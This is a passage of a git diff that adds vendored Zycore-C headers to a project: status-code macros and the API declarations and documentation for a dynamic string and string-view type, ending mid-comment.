+#define ZYAN_STATUS_CODE(status) \ + ((status) & 0xFFFFFu) + +/* ============================================================================================== */ +/* Status codes */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Module IDs */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * The zycore generic module id. + */ +#define ZYAN_MODULE_ZYCORE 0x001u + +/** + * The zycore arg-parse submodule id. + */ +#define ZYAN_MODULE_ARGPARSE 0x003u + +/** + * The base module id for user-defined status codes. + */ +#define ZYAN_MODULE_USER 0x3FFu + +/* ---------------------------------------------------------------------------------------------- */ +/* Status codes (general purpose) */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * The operation completed successfully. + */ +#define ZYAN_STATUS_SUCCESS \ + ZYAN_MAKE_STATUS(0u, ZYAN_MODULE_ZYCORE, 0x00u) + +/** + * The operation failed with an generic error. + */ +#define ZYAN_STATUS_FAILED \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x01u) + +/** + * The operation completed successfully and returned `ZYAN_TRUE`. + */ +#define ZYAN_STATUS_TRUE \ + ZYAN_MAKE_STATUS(0u, ZYAN_MODULE_ZYCORE, 0x02u) + +/** + * The operation completed successfully and returned `ZYAN_FALSE`. + */ +#define ZYAN_STATUS_FALSE \ + ZYAN_MAKE_STATUS(0u, ZYAN_MODULE_ZYCORE, 0x03u) + +/** + * An invalid argument was passed to a function. + */ +#define ZYAN_STATUS_INVALID_ARGUMENT \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x04u) + +/** + * An attempt was made to perform an invalid operation. + */ +#define ZYAN_STATUS_INVALID_OPERATION \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x05u) + +/** + * Insufficient privileges to perform the requested operation. + */ +#define ZYAN_STATUS_ACCESS_DENIED \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x06u) + +/** + * The requested entity was not found. + */ +#define ZYAN_STATUS_NOT_FOUND \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x07u) + +/** + * An index passed to a function was out of bounds. + */ +#define ZYAN_STATUS_OUT_OF_RANGE \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x08u) + +/** + * A buffer passed to a function was too small to complete the requested operation. + */ +#define ZYAN_STATUS_INSUFFICIENT_BUFFER_SIZE \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x09u) + +/** + * Insufficient memory to perform the operation. + */ +#define ZYAN_STATUS_NOT_ENOUGH_MEMORY \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x0Au) + +/** + * An unknown error occurred during a system function call. + */ +#define ZYAN_STATUS_BAD_SYSTEMCALL \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x0Bu) + +/** + * The process ran out of resources while performing an operation. + */ +#define ZYAN_STATUS_OUT_OF_RESOURCES \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x0Cu) + +/** + * A dependency library was not found or does have an unexpected version number or + * feature-set. + */ +#define ZYAN_STATUS_MISSING_DEPENDENCY \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ZYCORE, 0x0Du) + +/* ---------------------------------------------------------------------------------------------- */ +/* Status codes (arg parse) */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Argument was not expected. + */ +#define ZYAN_STATUS_ARG_NOT_UNDERSTOOD \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ARGPARSE, 0x00u) + +/** + * Too few arguments were provided. + */ +#define ZYAN_STATUS_TOO_FEW_ARGS \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ARGPARSE, 0x01u) + +/** + * Too many arguments were provided. + */ +#define ZYAN_STATUS_TOO_MANY_ARGS \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ARGPARSE, 0x02u) + +/** + * An argument that expected a value misses its value. + */ +#define ZYAN_STATUS_ARG_MISSES_VALUE \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ARGPARSE, 0x03u) + +/** +* A required argument is missing. +*/ +#define ZYAN_STATUS_REQUIRED_ARG_MISSING \ + ZYAN_MAKE_STATUS(1u, ZYAN_MODULE_ARGPARSE, 0x04u) + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ + +#ifdef __cplusplus +} +#endif + +#endif /* ZYCORE_STATUS_H */ diff --git a/Theodosius/Zycore/String.h b/Theodosius/Zycore/String.h new file mode 100644 index 0000000..c3157bc --- /dev/null +++ b/Theodosius/Zycore/String.h @@ -0,0 +1,1012 @@ +/*************************************************************************************************** + + Zyan Core Library (Zycore-C) + + Original Author : Florian Bernd + + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + +***************************************************************************************************/ + +/** + * @file + * Implements a string type. + */ + +#ifndef ZYCORE_STRING_H +#define ZYCORE_STRING_H + +#include +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* ============================================================================================== */ +/* Constants */ +/* ============================================================================================== */ + +/** + * The initial minimum capacity (number of characters) for all dynamically allocated + * string instances - not including the terminating '\0'-character. + */ +#define ZYAN_STRING_MIN_CAPACITY 32 + +/** + * The default growth factor for all string instances. + */ +#define ZYAN_STRING_DEFAULT_GROWTH_FACTOR 2.00f + +/** + * The default shrink threshold for all string instances. + */ +#define ZYAN_STRING_DEFAULT_SHRINK_THRESHOLD 0.25f + +/* ============================================================================================== */ +/* Enums and types */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* String flags */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZyanStringFlags` datatype. + */ +typedef ZyanU8 ZyanStringFlags; + +/** + * The string uses a custom user-defined buffer with a fixed capacity. + */ +#define ZYAN_STRING_HAS_FIXED_CAPACITY 0x01 // (1 << 0) + +/* ---------------------------------------------------------------------------------------------- */ +/* String */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZyanString` struct. + * + * The `ZyanString` type is implemented as a size-prefixed string - which allows for a lot of + * performance optimizations. + * Nevertheless null-termination is guaranteed at all times to provide maximum compatibility with + * default C-style strings (use `ZyanStringGetData` to access the C-style string). + * + * All fields in this struct should be considered as "private". Any changes may lead to unexpected + * behavior. + */ +typedef struct ZyanString_ +{ + /** + * String flags. + */ + ZyanStringFlags flags; + /** + * The vector that contains the actual string. + */ + ZyanVector vector; +} ZyanString; + +/* ---------------------------------------------------------------------------------------------- */ +/* View */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines the `ZyanStringView` struct. + * + * The `ZyanStringView` type provides a view inside a string (`ZyanString` instances, null- + * terminated C-style strings, or even not-null-terminated custom strings). A view is immutable + * by design and can't be directly converted to a C-style string. + * + * Views might become invalid (e.g. pointing to invalid memory), if the underlying string gets + * destroyed or resized. + * + * The `ZYAN_STRING_TO_VIEW` macro can be used to cast a `ZyanString` to a `ZyanStringView` pointer + * without any runtime overhead. + * Casting a view to a normal string is not supported and will lead to unexpected behavior (use + * `ZyanStringDuplicate` to create a deep-copy instead). + * + * All fields in this struct should be considered as "private". Any changes may lead to unexpected + * behavior. + */ +typedef struct ZyanStringView_ +{ + /** + * The string data. + * + * The view internally re-uses the normal string struct to allow casts without any runtime + * overhead. + */ + ZyanString string; +} ZyanStringView; + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Macros */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* General */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Defines an uninitialized `ZyanString` instance. + */ +#define ZYAN_STRING_INITIALIZER \ + { \ + /* flags */ 0, \ + /* vector */ ZYAN_VECTOR_INITIALIZER \ + } + +/* ---------------------------------------------------------------------------------------------- */ +/* Helper macros */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Casts a `ZyanString` pointer to a constant `ZyanStringView` pointer. + */ +#define ZYAN_STRING_TO_VIEW(string) (const ZyanStringView*)(string) + +/** + * Defines a `ZyanStringView` struct that provides a view into a static C-style string. + * + * @param string The C-style string. + */ +#define ZYAN_DEFINE_STRING_VIEW(string) \ + { \ + /* string */ \ + { \ + /* flags */ 0, \ + /* vector */ \ + { \ + /* allocator */ ZYAN_NULL, \ + /* growth_factor */ 1.0f, \ + /* shrink_threshold */ 0.0f, \ + /* size */ sizeof(string), \ + /* capacity */ sizeof(string), \ + /* element_size */ sizeof(char), \ + /* destructor */ ZYAN_NULL, \ + /* data */ (char*)(string) \ + } \ + } \ + } + +/* ---------------------------------------------------------------------------------------------- */ + +/* ============================================================================================== */ +/* Exported functions */ +/* ============================================================================================== */ + +/* ---------------------------------------------------------------------------------------------- */ +/* Constructor and destructor */ +/* ---------------------------------------------------------------------------------------------- */ + +#ifndef ZYAN_NO_LIBC + +/** + * Initializes the given `ZyanString` instance. + * + * @param string A pointer to the `ZyanString` instance. + * @param capacity The initial capacity (number of characters). + * + * @return A zyan status code. + * + * The memory for the string is dynamically allocated by the default allocator using the default + * growth factor of `2.0f` and the default shrink threshold of `0.25f`. + * + * The allocated buffer will be at least one character larger than the given `capacity`, to reserve + * space for the terminating '\0'. + * + * Finalization with `ZyanStringDestroy` is required for all strings created by this function. + */ +ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanStringInit(ZyanString* string, ZyanUSize capacity); + +#endif // ZYAN_NO_LIBC + +/** + * Initializes the given `ZyanString` instance and sets a custom `allocator` and memory + * allocation/deallocation parameters. + * + * @param string A pointer to the `ZyanString` instance. + * @param capacity The initial capacity (number of characters). + * @param allocator A pointer to a `ZyanAllocator` instance. + * @param growth_factor The growth factor (from `1.0f` to `x.xf`). + * @param shrink_threshold The shrink threshold (from `0.0f` to `1.0f`). + * + * @return A zyan status code. + * + * A growth factor of `1.0f` disables overallocation and a shrink threshold of `0.0f` disables + * dynamic shrinking. + * + * The allocated buffer will be at least one character larger than the given `capacity`, to reserve + * space for the terminating '\0'. + * + * Finalization with `ZyanStringDestroy` is required for all strings created by this function. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringInitEx(ZyanString* string, ZyanUSize capacity, + ZyanAllocator* allocator, float growth_factor, float shrink_threshold); + +/** + * Initializes the given `ZyanString` instance and configures it to use a custom user + * defined buffer with a fixed size. + * + * @param string A pointer to the `ZyanString` instance. + * @param buffer A pointer to the buffer that is used as storage for the string. + * @param capacity The maximum capacity (number of characters) of the buffer, including + * the terminating '\0'. + * + * @return A zyan status code. + * + * Finalization is not required for strings created by this function. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringInitCustomBuffer(ZyanString* string, char* buffer, + ZyanUSize capacity); + +/** + * Destroys the given `ZyanString` instance. + * + * @param string A pointer to the `ZyanString` instance. + * + * @return A zyan status code. + * + */ +ZYCORE_EXPORT ZyanStatus ZyanStringDestroy(ZyanString* string); + +/* ---------------------------------------------------------------------------------------------- */ +/* Duplication */ +/* ---------------------------------------------------------------------------------------------- */ + +#ifndef ZYAN_NO_LIBC + +/** + * Initializes a new `ZyanString` instance by duplicating an existing string. + * + * @param destination A pointer to the (uninitialized) destination `ZyanString` instance. + * @param source A pointer to the source string. + * @param capacity The initial capacity (number of characters). + * + * This value is automatically adjusted to the size of the source string, if + * a smaller value was passed. + * + * @return A zyan status code. + * + * The behavior of this function is undefined, if `source` is a view into the `destination` + * string or `destination` points to an already initialized `ZyanString` instance. + * + * The memory for the string is dynamically allocated by the default allocator using the default + * growth factor of `2.0f` and the default shrink threshold of `0.25f`. + * + * The allocated buffer will be at least one character larger than the given `capacity`, to reserve + * space for the terminating '\0'. + * + * Finalization with `ZyanStringDestroy` is required for all strings created by this function. + */ +ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanStringDuplicate(ZyanString* destination, + const ZyanStringView* source, ZyanUSize capacity); + +#endif // ZYAN_NO_LIBC + +/** + * Initializes a new `ZyanString` instance by duplicating an existing string and sets a + * custom `allocator` and memory allocation/deallocation parameters. + * + * @param destination A pointer to the (uninitialized) destination `ZyanString` instance. + * @param source A pointer to the source string. + * @param capacity The initial capacity (number of characters). + + * This value is automatically adjusted to the size of the source + * string, if a smaller value was passed. + * @param allocator A pointer to a `ZyanAllocator` instance. + * @param growth_factor The growth factor (from `1.0f` to `x.xf`). + * @param shrink_threshold The shrink threshold (from `0.0f` to `1.0f`). + * + * @return A zyan status code. + * + * The behavior of this function is undefined, if `source` is a view into the `destination` + * string or `destination` points to an already initialized `ZyanString` instance. + * + * A growth factor of `1.0f` disables overallocation and a shrink threshold of `0.0f` disables + * dynamic shrinking. + * + * The allocated buffer will be at least one character larger than the given `capacity`, to reserve + * space for the terminating '\0'. + * + * Finalization with `ZyanStringDestroy` is required for all strings created by this function. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringDuplicateEx(ZyanString* destination, + const ZyanStringView* source, ZyanUSize capacity, ZyanAllocator* allocator, + float growth_factor, float shrink_threshold); + +/** + * Initializes a new `ZyanString` instance by duplicating an existing string and + * configures it to use a custom user defined buffer with a fixed size. + * + * @param destination A pointer to the (uninitialized) destination `ZyanString` instance. + * @param source A pointer to the source string. + * @param buffer A pointer to the buffer that is used as storage for the string. + * @param capacity The maximum capacity (number of characters) of the buffer, including the + * terminating '\0'. + + * This function will fail, if the capacity of the buffer is less or equal to + * the size of the source string. + * + * @return A zyan status code. + * + * The behavior of this function is undefined, if `source` is a view into the `destination` + * string or `destination` points to an already initialized `ZyanString` instance. + * + * Finalization is not required for strings created by this function. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringDuplicateCustomBuffer(ZyanString* destination, + const ZyanStringView* source, char* buffer, ZyanUSize capacity); + +/* ---------------------------------------------------------------------------------------------- */ +/* Concatenation */ +/* ---------------------------------------------------------------------------------------------- */ + +#ifndef ZYAN_NO_LIBC + +/** + * Initializes a new `ZyanString` instance by concatenating two existing strings. + * + * @param destination A pointer to the (uninitialized) destination `ZyanString` instance. + * + * This function will fail, if the destination `ZyanString` instance equals + * one of the source strings. + * @param s1 A pointer to the first source string. + * @param s2 A pointer to the second source string. + * @param capacity The initial capacity (number of characters). + + * This value is automatically adjusted to the combined size of the source + * strings, if a smaller value was passed. + * + * @return A zyan status code. + * + * The behavior of this function is undefined, if `s1` or `s2` are views into the `destination` + * string or `destination` points to an already initialized `ZyanString` instance. + * + * The memory for the string is dynamically allocated by the default allocator using the default + * growth factor of `2.0f` and the default shrink threshold of `0.25f`. + * + * The allocated buffer will be at least one character larger than the given `capacity`, to reserve + * space for the terminating '\0'. + * + * Finalization with `ZyanStringDestroy` is required for all strings created by this function. + */ +ZYCORE_EXPORT ZYAN_REQUIRES_LIBC ZyanStatus ZyanStringConcat(ZyanString* destination, + const ZyanStringView* s1, const ZyanStringView* s2, ZyanUSize capacity); + +#endif // ZYAN_NO_LIBC + +/** + * Initializes a new `ZyanString` instance by concatenating two existing strings and sets + * a custom `allocator` and memory allocation/deallocation parameters. + * + * @param destination A pointer to the (uninitialized) destination `ZyanString` instance. + * + * This function will fail, if the destination `ZyanString` instance + * equals one of the source strings. + * @param s1 A pointer to the first source string. + * @param s2 A pointer to the second source string. + * @param capacity The initial capacity (number of characters). + * + * This value is automatically adjusted to the combined size of the + * source strings, if a smaller value was passed. + * @param allocator A pointer to a `ZyanAllocator` instance. + * @param growth_factor The growth factor (from `1.0f` to `x.xf`). + * @param shrink_threshold The shrink threshold (from `0.0f` to `1.0f`). + * + * @return A zyan status code. + * + * The behavior of this function is undefined, if `s1` or `s2` are views into the `destination` + * string or `destination` points to an already initialized `ZyanString` instance. + * + * A growth factor of `1.0f` disables overallocation and a shrink threshold of `0.0f` disables + * dynamic shrinking. + * + * The allocated buffer will be at least one character larger than the given `capacity`, to reserve + * space for the terminating '\0'. + * + * Finalization with `ZyanStringDestroy` is required for all strings created by this function. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringConcatEx(ZyanString* destination, const ZyanStringView* s1, + const ZyanStringView* s2, ZyanUSize capacity, ZyanAllocator* allocator, float growth_factor, + float shrink_threshold); + +/** + * Initializes a new `ZyanString` instance by concatenating two existing strings and + * configures it to use a custom user defined buffer with a fixed size. + * + * @param destination A pointer to the (uninitialized) destination `ZyanString` instance. + * + * This function will fail, if the destination `ZyanString` instance equals + * one of the source strings. + * @param s1 A pointer to the first source string. + * @param s2 A pointer to the second source string. + * @param buffer A pointer to the buffer that is used as storage for the string. + * @param capacity The maximum capacity (number of characters) of the buffer. + * + * This function will fail, if the capacity of the buffer is less or equal to + * the combined size of the source strings. + * + * @return A zyan status code. + * + * The behavior of this function is undefined, if `s1` or `s2` are views into the `destination` + * string or `destination` points to an already initialized `ZyanString` instance. + * + * Finalization is not required for strings created by this function. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringConcatCustomBuffer(ZyanString* destination, + const ZyanStringView* s1, const ZyanStringView* s2, char* buffer, ZyanUSize capacity); + +/* ---------------------------------------------------------------------------------------------- */ +/* Views */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns a view inside an existing view/string. + * + * @param view A pointer to the `ZyanStringView` instance. + * @param source A pointer to the source string. + * + * @return A zyan status code. + * + * The `ZYAN_STRING_TO_VEW` macro can be used to pass any `ZyanString` instance as value for the + * `source` string. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringViewInsideView(ZyanStringView* view, + const ZyanStringView* source); + +/** + * Returns a view inside an existing view/string starting from the given `index`. + * + * @param view A pointer to the `ZyanStringView` instance. + * @param source A pointer to the source string. + * @param index The start index. + * @param count The number of characters. + * + * @return A zyan status code. + * + * The `ZYAN_STRING_TO_VEW` macro can be used to pass any `ZyanString` instance as value for the + * `source` string. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringViewInsideViewEx(ZyanStringView* view, + const ZyanStringView* source, ZyanUSize index, ZyanUSize count); + +/** + * Returns a view inside a null-terminated C-style string. + * + * @param view A pointer to the `ZyanStringView` instance. + * @param string The C-style string. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringViewInsideBuffer(ZyanStringView* view, const char* string); + +/** + * Returns a view inside a character buffer with custom length. + * + * @param view A pointer to the `ZyanStringView` instance. + * @param buffer A pointer to the buffer containing the string characters. + * @param length The length of the string (number of characters). + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringViewInsideBufferEx(ZyanStringView* view, const char* buffer, + ZyanUSize length); + +/** + * Returns the size (number of characters) of the view. + * + * @param view A pointer to the `ZyanStringView` instance. + * @param size Receives the size (number of characters) of the view. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringViewGetSize(const ZyanStringView* view, ZyanUSize* size); + +/** + * Returns the C-style string of the given `ZyanString` instance. + * + * @warning The string is not guaranteed to be null terminated! + * + * @param string A pointer to the `ZyanStringView` instance. + * @param value Receives a pointer to the C-style string. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringViewGetData(const ZyanStringView* view, const char** buffer); + +/* ---------------------------------------------------------------------------------------------- */ +/* Character access */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Returns the character at the given `index`. + * + * @param string A pointer to the `ZyanStringView` instance. + * @param index The character index. + * @param value Receives the desired character of the string. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringGetChar(const ZyanStringView* string, ZyanUSize index, + char* value); + +/** + * Returns a pointer to the character at the given `index`. + * + * @param string A pointer to the `ZyanString` instance. + * @param index The character index. + * @param value Receives a pointer to the desired character in the string. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringGetCharMutable(ZyanString* string, ZyanUSize index, + char** value); + +/** + * Assigns a new value to the character at the given `index`. + * + * @param string A pointer to the `ZyanString` instance. + * @param index The character index. + * @param value The character to assign. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringSetChar(ZyanString* string, ZyanUSize index, char value); + +/* ---------------------------------------------------------------------------------------------- */ +/* Insertion */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Inserts the content of the source string in the destination string at the given `index`. + * + * @param destination The destination string. + * @param index The insert index. + * @param source The source string. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringInsert(ZyanString* destination, ZyanUSize index, + const ZyanStringView* source); + +/** + * Inserts `count` characters of the source string in the destination string at the given + * `index`. + * + * @param destination The destination string. + * @param destination_index The insert index. + * @param source The source string. + * @param source_index The index of the first character to be inserted from the source + * string. + * @param count The number of chars to insert from the source string. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringInsertEx(ZyanString* destination, ZyanUSize destination_index, + const ZyanStringView* source, ZyanUSize source_index, ZyanUSize count); + +/* ---------------------------------------------------------------------------------------------- */ +/* Appending */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Appends the content of the source string to the end of the destination string. + * + * @param destination The destination string. + * @param source The source string. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringAppend(ZyanString* destination, const ZyanStringView* source); + +/** + * Appends `count` characters of the source string to the end of the destination string. + * + * @param destination The destination string. + * @param source The source string. + * @param source_index The index of the first character to be appended from the source string. + * @param count The number of chars to append from the source string. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringAppendEx(ZyanString* destination, const ZyanStringView* source, + ZyanUSize source_index, ZyanUSize count); + +/* ---------------------------------------------------------------------------------------------- */ +/* Deletion */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Deletes characters from the given string, starting at `index`. + * + * @param string A pointer to the `ZyanString` instance. + * @param index The index of the first character to delete. + * @param count The number of characters to delete. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringDelete(ZyanString* string, ZyanUSize index, ZyanUSize count); + +/** + * Deletes all remaining characters from the given string, starting at `index`. + * + * @param string A pointer to the `ZyanString` instance. + * @param index The index of the first character to delete. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringTruncate(ZyanString* string, ZyanUSize index); + +/** + * Erases the given string. + * + * @param string A pointer to the `ZyanString` instance. + * + * @return A zyan status code. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringClear(ZyanString* string); + +/* ---------------------------------------------------------------------------------------------- */ +/* Searching */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Searches for the first occurrence of `needle` in the given `haystack` starting from the + * left. + * + * @param haystack The string to search in. + * @param needle The sub-string to search for. + * @param found_index A pointer to a variable that receives the index of the first occurrence of + * `needle`. + * + * @return `ZYAN_STATUS_TRUE`, if the needle was found, `ZYAN_STATUS_FALSE`, if not, or another + * zyan status code, if an error occured. + * + * The `found_index` is set to `-1`, if the needle was not found. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringLPos(const ZyanStringView* haystack, + const ZyanStringView* needle, ZyanISize* found_index); + +/** + * Searches for the first occurrence of `needle` in the given `haystack` starting from the + * left. + * + * @param haystack The string to search in. + * @param needle The sub-string to search for. + * @param found_index A pointer to a variable that receives the index of the first occurrence of + * `needle`. + * @param index The start index. + * @param count The maximum number of characters to iterate, beginning from the start + * `index`. + * + * @return `ZYAN_STATUS_TRUE`, if the needle was found, `ZYAN_STATUS_FALSE`, if not, or another + * zyan status code, if an error occured. + * + * The `found_index` is set to `-1`, if the needle was not found. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringLPosEx(const ZyanStringView* haystack, + const ZyanStringView* needle, ZyanISize* found_index, ZyanUSize index, ZyanUSize count); + +/** + * Performs a case-insensitive search for the first occurrence of `needle` in the given + * `haystack` starting from the left. + * + * @param haystack The string to search in. + * @param needle The sub-string to search for. + * @param found_index A pointer to a variable that receives the index of the first occurrence of + * `needle`. + * + * @return `ZYAN_STATUS_TRUE`, if the needle was found, `ZYAN_STATUS_FALSE`, if not, or another + * zyan status code, if an error occured. + * + * The `found_index` is set to `-1`, if the needle was not found. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringLPosI(const ZyanStringView* haystack, + const ZyanStringView* needle, ZyanISize* found_index); + +/** + * Performs a case-insensitive search for the first occurrence of `needle` in the given + * `haystack` starting from the left. + * + * @param haystack The string to search in. + * @param needle The sub-string to search for. + * @param found_index A pointer to a variable that receives the index of the first occurrence of + * `needle`. + * @param index The start index. + * @param count The maximum number of characters to iterate, beginning from the start + * `index`. + * + * @return `ZYAN_STATUS_TRUE`, if the needle was found, `ZYAN_STATUS_FALSE`, if not, or another + * zyan status code, if an error occured. + * + * The `found_index` is set to `-1`, if the needle was not found. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringLPosIEx(const ZyanStringView* haystack, + const ZyanStringView* needle, ZyanISize* found_index, ZyanUSize index, ZyanUSize count); + +/** + * Searches for the first occurrence of `needle` in the given `haystack` starting from the + * right. + * + * @param haystack The string to search in. + * @param needle The sub-string to search for. + * @param found_index A pointer to a variable that receives the index of the first occurrence of + * `needle`. + * + * @return `ZYAN_STATUS_TRUE`, if the needle was found, `ZYAN_STATUS_FALSE`, if not, or another + * zyan status code, if an error occured. + * + * The `found_index` is set to `-1`, if the needle was not found. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringRPos(const ZyanStringView* haystack, + const ZyanStringView* needle, ZyanISize* found_index); + +/** + * Searches for the first occurrence of `needle` in the given `haystack` starting from the + * right. + * + * @param haystack The string to search in. + * @param needle The sub-string to search for. + * @param found_index A pointer to a variable that receives the index of the first occurrence of + * `needle`. + * @param index The start index. + * @param count The maximum number of characters to iterate, beginning from the start + * `index`. + * + * @return `ZYAN_STATUS_TRUE`, if the needle was found, `ZYAN_STATUS_FALSE`, if not, or another + * zyan status code, if an error occured. + * + * The `found_index` is set to `-1`, if the needle was not found. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringRPosEx(const ZyanStringView* haystack, + const ZyanStringView* needle, ZyanISize* found_index, ZyanUSize index, ZyanUSize count); + +/** + * Performs a case-insensitive search for the first occurrence of `needle` in the given + * `haystack` starting from the right. + * + * @param haystack The string to search in. + * @param needle The sub-string to search for. + * @param found_index A pointer to a variable that receives the index of the first occurrence of + * `needle`. + * + * @return `ZYAN_STATUS_TRUE`, if the needle was found, `ZYAN_STATUS_FALSE`, if not, or another + * zyan status code, if an error occured. + * + * The `found_index` is set to `-1`, if the needle was not found. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringRPosI(const ZyanStringView* haystack, + const ZyanStringView* needle, ZyanISize* found_index); + +/** + * Performs a case-insensitive search for the first occurrence of `needle` in the given + * `haystack` starting from the right. + * + * @param haystack The string to search in. + * @param needle The sub-string to search for. + * @param found_index A pointer to a variable that receives the index of the first occurrence of + * `needle`. + * @param index The start index. + * @param count The maximum number of characters to iterate, beginning from the start + * `index`. + * + * @return `ZYAN_STATUS_TRUE`, if the needle was found, `ZYAN_STATUS_FALSE`, if not, or another + * zyan status code, if an error occured. + * + * The `found_index` is set to `-1`, if the needle was not found. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringRPosIEx(const ZyanStringView* haystack, + const ZyanStringView* needle, ZyanISize* found_index, ZyanUSize index, ZyanUSize count); + +/* ---------------------------------------------------------------------------------------------- */ +/* Comparing */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Compares two strings. + * + * @param s1 The first string + * @param s2 The second string. + * @param result Receives the comparison result. + * + * Values: + * - `result < 0` -> The first character that does not match has a lower value + * in `s1` than in `s2`. + * - `result == 0` -> The contents of both strings are equal. + * - `result > 0` -> The first character that does not match has a greater value + * in `s1` than in `s2`. + * + * @return `ZYAN_STATUS_TRUE`, if the strings are equal, `ZYAN_STATUS_FALSE`, if not, or another + * zyan status code, if an error occured. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringCompare(const ZyanStringView* s1, const ZyanStringView* s2, + ZyanI32* result); + +/** + * Performs a case-insensitive comparison of two strings. + * + * @param s1 The first string + * @param s2 The second string. + * @param result Receives the comparison result. + * + * Values: + * - `result < 0` -> The first character that does not match has a lower value + * in `s1` than in `s2`. + * - `result == 0` -> The contents of both strings are equal. + * - `result > 0` -> The first character that does not match has a greater value + * in `s1` than in `s2`. + * + * @return `ZYAN_STATUS_TRUE`, if the strings are equal, `ZYAN_STATUS_FALSE`, if not, or another + * zyan status code, if an error occured. + */ +ZYCORE_EXPORT ZyanStatus ZyanStringCompareI(const ZyanStringView* s1, const ZyanStringView* s2, + ZyanI32* result); + +/* ---------------------------------------------------------------------------------------------- */ +/* Case conversion */ +/* ---------------------------------------------------------------------------------------------- */ + +/** + * Converts the given string to lowercase letters. + * + * @param string A pointer to the `ZyanString` instance. + * + * @return A zyan status code. + * + * This function will fail, if the 